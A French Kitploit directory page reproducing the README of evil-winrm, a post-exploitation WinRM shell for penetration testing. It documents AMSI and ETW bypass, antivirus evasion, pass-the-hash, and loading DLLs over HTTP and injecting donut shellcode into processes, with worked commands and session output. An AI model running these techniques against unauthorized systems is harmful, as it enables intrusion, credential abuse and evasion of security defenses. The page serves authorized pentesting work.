Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
evil-winrm — Le shell WinRM ultime pour le hacking/pentesting | Kitploit
Outils/GitHubGitHub/hackplayers/evil-winrm
Génération de PayloadsExploitationPost-ExploitationTests d'IntrusionAuthentificationOutil d'Accès à Distance
GitHubhackplayers/evil-winrm

evil-winrm

Le shell WinRM ultime pour le hacking/pentesting

Voir le dépôt
5.4k680il y a 8 moisVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Evil-WinRM ![Version-shield] ![Ruby2.3-shield] ![Gem-Version] ![License-shield] ![Docker-shield]

Le shell WinRM ultime pour le hacking/pen-testing

Banner

Description & Objectif

Ce shell est le shell WinRM ultime pour le hacking/pen-testing.

WinRM (Windows Remote Management) est l'implémentation Microsoft du protocole WS-Management. Un protocole standard basé sur SOAP qui permet à du matériel et des systèmes d'exploitation de différents fournisseurs d'interopérer. Microsoft l'a inclus dans ses systèmes d'exploitation afin de faciliter la vie des administrateurs système.

Ce programme peut être utilisé sur n'importe quel serveur Microsoft Windows avec cette fonctionnalité activée (généralement sur le port 5985), bien sûr seulement si vous avez les identifiants et les autorisations pour l'utiliser. On peut donc dire qu'il pourrait être utilisé dans une phase post-exploitation de hacking/pen-testing. Le but de ce programme est de fournir des fonctionnalités agréables et faciles à utiliser pour le hacking. Il peut également être utilisé à des fins légitimes par les administrateurs système, mais la plupart de ses fonctionnalités sont axées sur le hacking/pen-testing.

Il est basé principalement sur la bibliothèque Ruby WinRM qui a changé sa façon de fonctionner depuis sa version 2.0. Maintenant, au lieu d'utiliser le protocole WinRM, il utilise PSRP (Powershell Remoting Protocol) pour initialiser des runspace pools ainsi que pour créer et traiter des pipelines.

Fonctionnalités

  • Compatible avec les systèmes clients Linux et Windows
  • Charger en mémoire des scripts Powershell
  • Charger en mémoire des fichiers dll en contournant certains AV
  • Charger en mémoire des assemblies C# (C Sharp) en contournant certains AV
  • Charger des payloads x64 générés avec l'impressionnante technique [donut]
  • Bypass AMSI dynamique pour éviter les signatures AV
  • Support de Pass-the-hash
  • Support d'authentification Kerberos incluant également les fichiers ccache et kirbi
  • Support SSL et certificats
  • Téléchargement et envoi de fichiers avec barre de progression
  • Lister les services de la machine distante sans privilèges
  • Historique des commandes
  • Complétion de commandes WinRM
  • Complétion de fichiers/dossiers locaux
  • Complétion de chemins distants (fichiers/dossiers) (peut être désactivée optionnellement)
  • Colorisation de l'invite et des messages de sortie (peut être désactivée optionnellement)
  • Fonctionnalité de journalisation optionnelle
  • Support Docker (images pré-construites disponibles sur [Dockerhub])
  • Capture de piège pour éviter une sortie accidentelle du shell avec Ctrl+C
  • User-agent personnalisable utilisant celui par défaut légitime de Windows
  • Bypass ETW (Event Tracing for Windows)

Aide```

Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-a USERAGENT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] [-K TICKET_FILE] [--spn SPN_PREFIX] [-l] -S, --ssl Enable ssl -c, --pub-key PUBLIC_KEY_PATH Local path to public key certificate -k, --priv-key PRIVATE_KEY_PATH Local path to private key certificate -r, --realm DOMAIN Kerberos auth, it has to be set also in /etc/krb5.conf file using this format -> CONTOSO.COM = { kdc = fooserver.contoso.com } -K, --ccache TICKET_FILE Path to Kerberos ticket file (ccache or kirbi format, auto-detected) -s, --scripts PS_SCRIPTS_PATH Powershell scripts local path --spn SPN_PREFIX SPN prefix for Kerberos auth (default HTTP) -e, --executables EXES_PATH C# executables local path -i, --ip IP Remote host IP or hostname. FQDN for Kerberos auth (required) -U, --url URL Remote url endpoint (default /wsman) -u, --user USER Username (required if not using kerberos) -p, --password PASS Password -H, --hash HASH NTHash -P, --port PORT Remote host port (default 5985) -a, --user-agent Specify connection user-agent (default Microsoft WinRM Client) -V, --version Show version -n, --no-colors Disable colors -N, --no-rpath-completion Disable remote path completion -l, --log Log the WinRM session -h, --help Display this help message

root@kitploit:~
## Prérequis
Ruby 2.3 ou supérieur est nécessaire. Certaines gemmes ruby sont également nécessaires : `winrm >=2.3.7`, `winrm-fs >=1.3.2`, `stringio >=0.0.2`, `logger >= 1.4.3`, `fileutils >= 0.7.2`.
Selon votre méthode d'installation (4 disponibles), leur installation peut devoir être effectuée manuellement.

Une autre exigence importante, utilisée uniquement pour l'authentification Kerberos, est d'installer le paquet Kerberos utilisé pour l'authentification réseau.
Pour certains Linux comme ceux basés sur Debian (Kali, Parrot, etc.), il est appelé `krb5-user`. Pour BlackArch, il est appelé `krb5` et il pourrait probablement être appelé différemment pour d'autres distributions Linux.

La fonctionnalité de complétion de chemin distant fonctionnera uniquement si votre ruby a été compilé en activant le flag `--with-readline-dir`. Ceci est activé par défaut dans ruby inclus dans certaines distributions Linux mais pas dans toutes. Consultez [la section ci-dessous](#Remote-path-completion) pour plus d'informations.

## Installation et démarrage rapide (4 méthodes)

### Méthode 1. Installation directe en tant que gem ruby (les dépendances seront installées automatiquement sur votre système)
 - Étape 1. Installez-le (il installera automatiquement les dépendances) : ```gem install evil-winrm```
 - Étape 2. Prêt. Lancez-le simplement !```
evil-winrm  -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

Méthode 2. Cloner avec Git et installer les dépendances manuellement sur votre système

  • Étape 1. Installer les dépendances manuellement : sudo gem install winrm winrm-fs stringio logger fileutils
  • Étape 2. Cloner le dépôt : git clone https://github.com/Hackplayers/evil-winrm.git
  • Étape 3. Prêt. Lancez-le !``` cd evil-winrm && ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
root@kitploit:~
### Méthode 3. Utilisation de bundler (les dépendances ne seront pas installées sur votre système, juste pour utiliser evil-winrm)
 - Étape 1. Installer bundler: `gem install bundler`
 - Étape 2. Cloner le dépôt: `git clone https://github.com/Hackplayers/evil-winrm.git`
 - Étape 3. Installer les dépendances avec bundler: `cd evil-winrm && bundle install --path vendor/bundle`
 - Étape 4. Lancer avec bundler:```
bundle exec evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

Méthode 4. Utilisation de Docker

  • Étape 1. Lancer le conteneur Docker basé sur l'image déjà construite :``` docker run --rm -ti --name evil-winrm -v /home/foo/ps1_scripts:/ps1_scripts -v /home/foo/exe_files:/exe_files -v /home/foo/data:/data oscarakaelvis/evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/ps1_scripts/' -e '/exe_files/'
root@kitploit:~
## Documentation

### Clear text password
Si vous ne souhaitez pas mettre le mot de passe en clair, vous pouvez éventuellement éviter de définir l'argument `-p` et le mot de passe vous sera demandé sans être affiché.

### Ipv6
Pour utiliser IPv6, l'adresse doit être ajoutée à /etc/hosts. Mettez simplement le nom déjà défini de l'hôte après l'argument `-i` au lieu d'une adresse IP.

### Basic commands
 - **upload** : les fichiers locaux peuvent être complétés automatiquement avec la touche Tab.
   - utilisation : `upload local_filename` ou `upload local_filename destination_filename`
 - **download** :
   - utilisation : `download remote_filename` ou `download remote_filename destination_filename`

 __Remarques sur les chemins (upload/download)__ :
   Les chemins relatifs ne sont pas autorisés pour le téléchargement/l'envoi. Utilisez des noms de fichiers dans le répertoire courant ou un chemin absolu.
   Si vous utilisez Evil-WinRM dans un environnement Docker, gardez à l'esprit que tous les chemins locaux doivent être dans `/data` et assurez-vous de l'avoir monté en tant que volume afin de pouvoir accéder aux fichiers téléchargés ou de pouvoir envoyer des fichiers depuis votre système d'exploitation hôte local.

 - **services** : liste tous les services en affichant si votre compte a des permissions sur chacun d'eux. Aucune permission d'administrateur n'est nécessaire pour utiliser cette fonctionnalité.
 - **menu** : charge les fonctions `Invoke-Binary`, `Dll-Loader` et `Donut-Loader` que nous expliquerons ci-dessous. Lorsqu'un fichier ps1 est chargé, toutes ses fonctions s'affichent.
 - **clear** ou **cls** : efface l'écran du terminal. Vous pouvez également utiliser le raccourci clavier `Ctrl+L` pour effacer l'écran.```
*Evil-WinRM* PS C:\> menu

   ,.   (   .      )               "            ,.   (   .      )       .
  ("  (  )  )'     ,'             (     '    ("     )  )'     ,'   .  ,)
.; )  ' (( (" )    ;(,      .     ;)  "  )"  .; )  ' (( (" )   );(,   )((
_".,_,.__).,) (.._( ._),     )  , (._..( '.._"._, . '._)_(..,_(_".) _( _')
\_   _____/__  _|__|  |    ((  (  /  \    /  \__| ____\______   \  /     \
 |    __)_\  \/ /  |  |    ;_)_') \   \/\/   /  |/    \|       _/ /  \ /  \
 |        \\   /|  |  |__ /_____/  \        /|  |   |  \    |   \/    Y    \
/_______  / \_/ |__|____/           \__/\  / |__|___|  /____|_  /\____|__  /
        \/                               \/          \/       \/         \/

          By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers

[+] Dll-Loader
[+] Donut-Loader
[+] Invoke-Binary
[+] Bypass-4MSI
[+] services
[+] upload
[+] download
[+] clear
[+] cls
[+] menu
[+] exit

Charger des scripts PowerShell

  • Pour charger un fichier ps1, il suffit de taper son nom (auto-complétion par tabulation activée). Les scripts doivent se trouver dans le chemin défini par l'argument -s. Tapez à nouveau menu pour voir les fonctions chargées. Les très gros fichiers peuvent prendre beaucoup de temps à être chargés.``` Evil-WinRM PS C:> PowerView.ps1 Evil-WinRM PS C:> menu

    ,. ( . ) " ,. ( . ) . (" ( ) )' ,' ( ' (" ) )' ,' . ,) .; ) ' (( (" ) ;(, . ;) " )" .; ) ' (( (" ) );(, )(( ".,,.).,) (..( .), ) , (...( '.."., . '.)(..,(".) ( ') _ / _|| | (( ( / \ / _| _ \ /
    | __)
    \ / / | | ;
    )') \ // / |/ | / / \ /
    | \ /| | |
    /
    / \ /| | | \ | / Y
    /
    _____ / _/ |__|
    / _/\ / ||| /__| /__| / / / / / /

    root@kitploit:~
       By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers
    

[+] Add-DomainAltSecurityIdentity [+] Add-DomainGroupMember [+] Add-DomainObjectAcl [+] Add-RemoteConnection [+] Add-Win32Type [+] Convert-ADName [+] Convert-DNSRecord [+] ConvertFrom-LDAPLogonHours [+] ConvertFrom-SID [+] ConvertFrom-UACValue [+] Convert-LDAPProperty [+] Convert-LogonHours [+] ConvertTo-SID [+] Dll-Loader [+] Donut-Loader [+] Export-PowerViewCSV [+] field [+] Find-DomainLocalGroupMember

root@kitploit:~
### Advanced commands
- Invoke-Binary : permet d'exécuter des assemblages .Net en mémoire. Le nom peut être auto-complété à l'aide de la touche Tab. Les arguments pour le fichier exe peuvent être passés séparés par des virgules. Exemple : `Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'`. Les exécutables doivent se trouver dans le chemin défini par l'argument `-e`.```
*Evil-WinRM* PS C:\> Invoke-Binary
.SYNOPSIS
    Execute binaries from memory.
    PowerShell Function: Invoke-Binary
    Author: Luis Vacas (CyberVaca)

    Required dependencies: None
    Optional dependencies: None
.DESCRIPTION

.EXAMPLE
    Invoke-Binary /opt/csharp/Watson.exe
    Invoke-Binary /opt/csharp/Binary.exe param1,param2,param3
    Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'
    Description
    -----------
    Function that execute binaries from memory.

*Evil-WinRM* PS C:\> Invoke-Binary /opt/csharp/Rubeus.exe

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0


 Ticket requests and renewals:


  • Dll-Loader: permet de charger des bibliothèques dll en mémoire, équivalent à : [Reflection.Assembly]::Load([IO.File]::ReadAllBytes("pwn.dll"))

    Le fichier dll peut être hébergé via smb, http ou localement. Une fois chargé, tapez menu, puis il est possible d'autocompléter toutes les fonctions.``` Evil-WinRM PS C:> Dll-Loader .SYNOPSIS dll loader. PowerShell Function: Dll-Loader Author: Hector de Armas (3v4Si0N)

    Required dependencies: None Optional dependencies: None .DESCRIPTION . .EXAMPLE Dll-Loader -smb -path \192.168.139.132\share\myDll.dll Dll-Loader -local -path C:\Users\Pepito\Desktop\myDll.dll Dll-Loader -http -path http://example.com/myDll.dll

    Description

    Function that loads an arbitrary dll

Evil-WinRM PS C:> Dll-Loader -http http://10.10.10.10/SharpSploit.dll [+] Reading dll by HTTP [+] Loading dll... Evil-WinRM PS C:\Users\test\Documents> menu

[... Snip ...]

Evil-WinRM PS C:> [SharpSploit.Enumeration.Host]::GetProcessList()

Pid : 0 Ppid : 0 Name : Idle Path : SessionID : 0 Owner : Architecture : x64

root@kitploit:~
- Donut-Loader : permet d'injecter des payloads x64 générées avec l'impressionnante technique [donut]. Pas besoin d'encoder le payload.bin, il suffit de générer et d'injecter !```
*Evil-WinRM* PS C:\> Donut-Loader
.SYNOPSIS
    Donut Loader.
    PowerShell Function: Donut-Loader
    Author: Luis Vacas (CyberVaca)
    Based code: TheWover

    Required dependencies: None
    Optional dependencies: None
.DESCRIPTION

.EXAMPLE
    Donut-Loader -process_id 2195 -donutfile /home/cybervaca/donut.bin
    Donut-Loader -process_id (get-process notepad).id -donutfile /home/cybervaca/donut.bin

    Description
    -----------
    Function that loads an arbitrary donut :D

Vous pouvez utiliser ce [donut-maker] pour générer le payload.bin si vous n'utilisez pas Windows. Ce script utilise un module Python écrit par Marcello Salvati ([byt3bl33d3r]). Il peut être installé avec pip : `pip3 install donut-shellcode```` python3 donut-maker.py -i Covenant.exe


.'/,-Y" "-. l.Y ^. /\ __ Donuts! i /" "
| /" "\ o ! l ] o !
./ \ _ _ .
__./ "

X / \ _./ ( \ . ..--" ~-. Z,-- /
__. ( / ______) \ l /-----
" / Y \ / | "x
.^ |
j Y

[+] Donut generated successfully: payload.bin

root@kitploit:~
- Bypass-4MSI: patch la protection AMSI.```
*Evil-WinRM* PS C:\> #amsiscanbuffer
At line:1 char:1
+ #amsiscanbuffer
+ ~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo          : ParserError: (:) [Invoke-Expression], ParseException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand
*Evil-WinRM* PS C:\>
*Evil-WinRM* PS C:\> Bypass-4MSI
[+] Success!

*Evil-WinRM* PS C:\> #amsiscanbuffer
*Evil-WinRM* PS C:\>

Kerberos

  • Vous devez d'abord synchroniser la date avec le DC : rdate -n <dc_ip>

  • Pour générer un ticket, il existe plusieurs méthodes :

    • Utiliser [ticketer.py] d'impacket
    • Utiliser [Rubeus] ou [Mimikatz] pour obtenir des tickets kirbi (la conversion automatique en ccache est prise en charge)
  • Ajouter le fichier de ticket. Il y a 3 façons :

    export KRB5CCNAME=/foo/var/ticket.ccache

    cp ticket.ccache /tmp/krb5cc_0

    Utiliser le paramètre -K : evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.ccache ou evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.kirbi

    Lors de l'utilisation de -K, l'outil va automatiquement :

    • Détecter le format du ticket (ccache ou kirbi)
    • Convertir les tickets kirbi au format ccache si nécessaire (nécessite ticket_converter.py ou impacket-ticketConverter)
    • Valider que le fichier existe et est lisible
    • Définir la variable d'environnement KRB5CCNAME
    • Résoudre les adresses IP en FQDN pour une meilleure compatibilité Kerberos
  • Ajouter le realm à /etc/krb5.conf (pour linux). L'utilisation de ce format est importante : ``` CONTOSO.COM = { kdc = fooserver.contoso.com }

Complétion de chemin distant

Cette fonctionnalité peut ne pas être disponible selon le ruby que vous utilisez. Il doit être compilé avec le support readline. Sinon, cette fonctionnalité ne fonctionnera pas (un avertissement s'affichera).

Méthode 1 (compiler l'extension nécessaire)

En utilisant cette méthode, vous compilez ruby avec la fonctionnalité readline nécessaire, mais en utilisant uniquement la bibliothèque sans modifier la version par défaut de ruby sur votre système. C'est pourquoi elle est la méthode la plus recommandée.

Supposons que vous ayez ruby 2.7.3 sur votre système basé sur Debian :```

Install needed package

apt install libreadline-dev

Check your ruby version

ruby --version ruby 2.7.3p183 (2021-04-05 revision 6847ee089d) [x86_64-linux-gnu]

Download ruby source code (2.7.3 in this case):

wget https://ftp.ruby-lang.org/pub/ruby/2.7/ruby-2.7.3.tar.gz

Extract source code

tar -xf ruby-2.7.3.tar.gz

Compile the readline extension:

cd ruby-2.7.3/ext/readline ruby ./extconf.rb make

Patch current version of the ruby readline extension:

sudo cp /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so.bk sudo cp -f readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so

root@kitploit:~
#### Méthode 2 (Installer ruby pour l'utiliser uniquement pour evil-winrm avec rbenv)

Supposons que vous souhaitiez ruby 2.7.1 sur un Linux basé sur Debian et que vous utilisiez zsh. Ce script l'automatisera. Vous devrez le lancer depuis le même répertoire où se trouvent evil-winrm.rb et Gemfile (le répertoire evil-winrm créé après un git clone par exemple) :```
#!/usr/bin/env zsh

# Uninstall possible current installed versions
sudo gem uninstall evil-winrm -q
gem uninstall evil-winrm -q

# Install rbenv
sudo apt install rbenv

# Config rbenv on zshrc config file
echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.zshrc
echo 'eval "$(rbenv init -)"' >> ~/.zshrc
source ~/.zshrc

# Install ruby with readline support
export RUBY_CONFIGURE_OPTS=--with-readline-dir="/usr/include/readline"
rbenv install 2.7.1

# Create file '.ruby-version' to set right ruby version
rbenv local 2.7.1

# Install local gems
gem install bundler
bundle install

current_evwr="$(pwd)/evil-winrm.rb"

sudo bash -c "cat << 'EOF' > /usr/bin/evil-winrm
    #!/usr/bin/env sh
    "${current_evwr}" "\$@"
EOF"

sudo chmod +x /usr/bin/evil-winrm

Ensuite, vous pouvez lancer evil-winrm en toute sécurité en utilisant le nouveau ruby installé avec le support readline requis depuis n'importe quel emplacement.

Méthode 3 (compiler ruby entièrement)

Si vous souhaitez le compiler vous-même, vous pouvez suivre ces étapes. Supposons que vous voulez ruby 2.7.3 :``` wget -O ruby-install-0.8.1.tar.gz https://github.com/postmodern/ruby-install/archive/v0.8.1.tar.gz tar -xzvf ruby-install-0.8.1.tar.gz cd ruby-install-0.8.1/ sudo make install ruby-install ruby 2.7.3 -- --with-readline-dir=/usr/include/readline

root@kitploit:~
Selon votre système, il sera installé dans `/opt/rubies/ruby-2.7.3` ou peut-être dans `~/.rubies/ruby-2.7.3`.

Il suffit maintenant d'installer les dépendances d'evil-winrm pour cette nouvelle version de ruby. Le moyen le plus simple est d'exécuter la commande `/opt/rubies/ruby-2.7.3/bin/gem install evil-winrm`. La commande gem utilisée doit appartenir à la nouvelle installation de ruby.

Après cela, vous pouvez lancer en toute sécurité votre nouveau ruby installé pour l'utiliser avec evil-winrm : `/opt/rubies/ruby-2.7.3/bin/ruby ./evil-winrm.rb -h`

Il est recommandé d'utiliser ce nouveau ruby uniquement pour lancer evil-winrm. Si vous le définissez comme ruby par défaut de votre système, gardez à l'esprit qu'il n'a aucune gem de dépendance installée. Certains logiciels basés sur ruby comme Metasploit ou d'autres pourraient ne pas démarrer correctement en raison de problèmes de dépendances.

### Journalisation

Cette fonctionnalité créera des fichiers dans votre répertoire $HOME sauvegardant les commandes et les sorties des sessions WinRM.

### Historique des commandes

Evil-WinRM maintient un historique persistant des commandes pour chaque combinaison hôte et utilisateur. L'historique est stocké dans le répertoire `~/.evil-winrm/history/` avec des fichiers nommés `{hôte}_{utilisateur}.hist`.

Lorsque vous vous connectez à une machine que vous avez déjà consultée, vous pouvez utiliser les touches fléchées (Haut/Bas) pour naviguer dans vos commandes précédentes. L'historique est automatiquement sauvegardé après chaque exécution de commande et chargé lorsque vous vous reconnectez au même hôte avec le même utilisateur.

### Problèmes connus. Erreurs OpenSSL

Parfois, vous pouvez rencontrer une erreur comme celle-ci :```
Error: An error of type OpenSSL::Digest::DigestError happened, message is Digest initialization failed: initialization error

L'erreur est causée car la version OpenSSL 3.0 a retiré certaines fonctions héritées comme MD4, nécessaires au fonctionnement de cet outil. Il existe différentes solutions de contournement pour gérer cette situation :

  • Mettez votre système à jour. Probablement, ce problème a été automatiquement corrigé dans les dernières versions de Ruby qui utilisent des versions plus récentes d'OpenSSL.
  • Compilez votre propre Ruby en utilisant l'ancienne version OpenSSL 1.x au lieu d'OpenSSL 3.0, ou compilez-le avec OpenSSL > 3.0 pour éviter la version 3.0 problématique.
  • La plus simple. Modifiez votre fichier de configuration /etc/ssl/openssl.cnf et assurez-vous que la configuration ressemble à ceci :``` openssl_conf = openssl_init

[openssl_init] providers = provider_sect

[provider_sect] default = default_sect legacy = legacy_sect

[default_sect] activate = 1

[legacy_sect] activate = 1

root@kitploit:~
- En alternative à la dernière solution de contournement, si votre système utilise LibreSSL au lieu d’OpenSSL ou si vous ne souhaitez tout simplement pas modifier votre fichier de configuration système. Créez un fichier simple contenant le contenu ci-dessus. N’importe quel nom peut être utilisé, par exemple `evil-tls.conf`. Ensuite, exportez une variable d’environnement pour forcer le système à l’utiliser : `export OPENSSL_CONF="/path/to/evil-tls.conf"`. Puis lancez l’outil, l’erreur disparaîtra.


## Journal des modifications :
Le journal des modifications et les changements du projet peuvent être consultés ici : [CHANGELOG.md](https://raw.githubusercontent.com/Hackplayers/evil-winrm/master/CHANGELOG.md)

## Crédits :
Équipe :

 - [Cybervaca], (fondateur). Twitter (X) : [@CyberVaca_]
 - [OscarAkaElvis], Twitter (X) : [@OscarAkaElvis]
 - [Jarilaos], Twitter (X) : [@_Laox]
 - [arale61], Twitter (X) : [@arale61]

Remerciements à :

 - [Vis0r] pour son soutien personnel.
 - [Alamot] pour son code original.
 - [3v4Si0N] pour son superbe chargeur de DLL.
 - [WinRb] Tous les contributeurs de la bibliothèque Ruby.
 - [TheWover] pour son superbe outil donut.
 - [byt3bl33d3r] pour sa bibliothèque Python pour créer des charges utiles donut.
 - [Sh11td0wn] pour l’inspiration concernant les nouvelles fonctionnalités.
 - [Borch] pour son aide à l’ajout de la fonctionnalité de journalisation.
 - [Hackplayers] pour avoir offert un hébergement sur leur GitHub à ce logiciel.

## Avertissement et licence
Ce script est sous licence LGPLv3+. Lien direct vers la [Licence](https://raw.githubusercontent.com/Hackplayers/evil-winrm/master/LICENSE).

Evil-WinRM ne doit être utilisé que pour des tests de pénétration autorisés et/ou à des fins éducatives non lucratives. Toute utilisation abusive de ce logiciel ne relèvera pas de la responsabilité de l’auteur ou de tout autre collaborateur. Utilisez-le sur vos propres serveurs et/ou avec l’autorisation du propriétaire du serveur.

<!-- Github URLs -->
[Cybervaca]: https://github.com/cybervaca
[OscarAkaElvis]: https://github.com/OscarAkaElvis
[Jarilaos]: https://github.com/jarilaos
[arale61]: https://github.com/arale61
[Vis0r]: https://github.com/vmotos
[Alamot]: https://github.com/Alamot
[3v4Si0N]: https://github.com/3v4Si0N
[Borch]: https://github.com/Stoo0rmq
[donut]: https://github.com/TheWover/donut
[donut-maker]: https://raw.githubusercontent.com/Hackplayers/Salsa-tools/master/Donut-Maker/donut-maker.py
[byt3bl33d3r]: https://twitter.com/byt3bl33d3r
[WinRb]: https://github.com/WinRb/WinRM/graphs/contributors
[TheWover]: https://github.com/TheWover
[Sh11td0wn]: https://github.com/Sh11td0wn
[ticketer.py]: https://raw.githubusercontent.com/SecureAuthCorp/impacket/master/examples/ticketer.py
[ticket_converter.py]: https://github.com/Zer1t0/ticket_converter
[Rubeus]: https://github.com/GhostPack/Rubeus
[Mimikatz]: https://github.com/gentilkiwi/mimikatz
[cheatsheet]: https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a
[Dockerhub]: https://hub.docker.com/r/oscarakaelvis/evil-winrm
[Hackplayers]: https://www.hackplayers.com/

<!-- Twitter URLs -->
[@CyberVaca_]: https://twitter.com/CyberVaca_
[@OscarAkaElvis]: https://twitter.com/OscarAkaElvis
[@_Laox]: https://twitter.com/_Laox
[@arale61]: https://twitter.com/arale61

<!-- Badges URLs -->
[Version-shield]: https://img.shields.io/badge/version-3.9-blue.svg?style=flat-square&colorA=273133&colorB=0093ee "Latest version"
[Ruby2.3-shield]: https://img.shields.io/badge/ruby-2.3+-blue.svg?style=flat-square&colorA=273133&colorB=ff0000 "Ruby 2.3 or later"
[License-shield]: https://img.shields.io/badge/license-LGPL%20v3+-blue.svg?style=flat-square&colorA=273133&colorB=bd0000 "LGPL v3+"
[Docker-shield]: https://img.shields.io/docker/automated/oscarakaelvis/evil-winrm.svg?style=flat-square&colorA=273133&colorB=a9a9a9 "Docker rules!"
[Gem-Version]: https://img.shields.io/gem/v/evil-winrm?style=flat-square&colorA=273133&colorB=46c249 "Ruby gem"
Télécharger l’outil
root@kitploit:~
  • Vérifiez les tickets Kerberos avec klist

  • Pour supprimer un ticket, utilisez : kdestroy

  • Pour plus d'informations sur Kerberos, consultez cette [antisèche]